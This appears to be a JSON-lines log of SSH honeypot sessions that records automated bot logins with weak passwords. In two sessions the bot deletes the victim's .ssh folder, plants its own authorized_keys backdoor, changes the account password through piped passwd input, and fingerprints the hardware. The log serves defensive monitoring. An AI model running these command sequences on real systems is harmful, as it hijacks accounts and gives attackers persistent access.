{"id":"f1c9ad32-fb86-4909-9414-08f61e3f05cf","name":"gnarled-airy-addax","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":46340,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":419,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:02:44.546918+00:00","ended_at":"2026-08-27T14:02:45.955061+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2142,"events":[{"seq":1,"at":"2026-08-27T14:02:12.674687+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:02:13.142377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:02:18.596266+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:02:19.476141+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:02:20.204962+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:02:20.622811+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nhWIZIx23CAmV\\nhWIZIx23CAmV\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:02:20.947267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:02:21.859103+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:02:22.231071+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:02:23.029295+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:02:23.455217+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:02:24.801800+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:02:25.222100+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:02:27.057126+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:02:27.476244+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:02:29.291160+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:02:29.616758+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:02:30.981785+00:00","kind":"output","latency_ms":null,"data":" 14:02:30 up 7 days, 10:52,  0 user,  load average: 0.17, 0.2, 0.11\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:02:31.323176+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:02:32.922528+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:02:33.250035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:02:35.434830+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:02:36.693205+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:02:37.579500+00:00","kind":"output","latency_ms":null,"data":"top - 14:02:37 up 7 days, 10:52,  0 user,  load average: 0.17, 0.2, 0.11\nTasks: 106 total,   1 running, 105 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:02:38.034620+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:02:38.856178+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:02:39.183859+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:02:40.209997+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:02:40.797732+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:02:41.755758+00:00","kind":"output","latency_ms":null,"data":"it"},{"seq":31,"at":"2026-08-27T14:02:42.084767+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:02:44.215959+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:02:44.547773+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:02:45.757306+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"it","password":"123","method":"password","accepted":true,"tier":"other"}]}
{"id":"3c9bcb56-c7c4-4786-956e-6e92475e8e05","name":"gallant-vaulted-civet","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":50144,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:02:16.661533+00:00","ended_at":"2026-08-27T14:02:18.500506+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"it","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"dc56c274-7f9e-42de-a185-441ab6ed2f79","name":"wiry-merry-hedgehog","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":43208,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":73,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T21:52:53.047241+00:00","ended_at":"2026-08-26T21:52:54.392693+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2220,"events":[{"seq":1,"at":"2026-08-26T21:52:32.925077+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T21:52:32.989628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T21:52:36.332949+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T21:52:37.811730+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T21:52:37.879395+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nwDdIVI3LSMKK\\nwDdIVI3LSMKK\"|passwd|bash"},{"seq":6,"at":"2026-08-26T21:52:37.946497+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nwDdIVI3LSMKK\\nwDdIVI3LSMKK\\n\"|passwd"},{"seq":7,"at":"2026-08-26T21:52:38.014933+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T21:52:39.176058+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T21:52:39.521322+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T21:52:39.589963+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T21:52:39.969099+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T21:52:41.185501+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T21:52:41.258121+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T21:52:43.079924+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T21:52:43.153411+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T21:52:44.778386+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T21:52:44.845959+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T21:52:46.125122+00:00","kind":"output","latency_ms":null,"data":" 21:52:46 up 6 days, 18:42,  0 user,  load average: 0.33, 0.27, 0.36\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":19,"at":"2026-08-26T21:52:46.192120+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T21:52:47.623472+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T21:52:47.692039+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T21:52:49.075251+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T21:52:49.143951+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T21:52:50.293040+00:00","kind":"output","latency_ms":null,"data":"top - 21:52:50 up 6 days, 18:42,  0 user,  load average: 0.33, 0.27, 0.36\nTasks: 129 total,   1 running, 128 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9691 free,    6196 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T21:52:50.362434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T21:52:50.956150+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T21:52:51.026114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T21:52:51.379056+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T21:52:51.447821+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T21:52:51.704577+00:00","kind":"output","latency_ms":null,"data":"it"},{"seq":31,"at":"2026-08-26T21:52:51.778119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T21:52:52.978819+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T21:52:53.048175+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T21:52:54.379268+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"it","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"450af1c2-1b6c-4409-8272-1b8c8ae87201","name":"wooded-western-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"129.121.114.225","src_port":43224,"username":"it","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T21:52:34.925324+00:00","ended_at":"2026-08-26T21:52:36.320121+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"it","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}